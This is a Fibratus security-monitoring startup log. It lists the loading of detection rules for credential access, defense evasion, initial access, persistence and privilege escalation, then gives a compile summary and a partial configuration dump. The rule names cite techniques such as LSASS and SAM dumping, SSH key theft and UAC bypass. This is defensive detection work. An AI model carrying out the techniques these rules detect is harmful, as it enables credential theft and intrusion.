C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:07:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:07:24+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-23T18:07:24+01:00 level=info msg=bootstrapping with pid 12984. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T18:07:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false content-type=>text/html port=>25 to=>[]] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ stack-enrichment=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true flush-interval=>1s enable-threadpool=>false enable-dns=>false enable-registry=>true min-buffers=>16 enable-fileio=>true enable-mem=>false enable-net=>true enable-audit-api=>true buffer-size=>512 enable-vamap=>true max-buffers=>36 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 level=>info max-age=>0 log-stdout=>true max-backups=>15] + 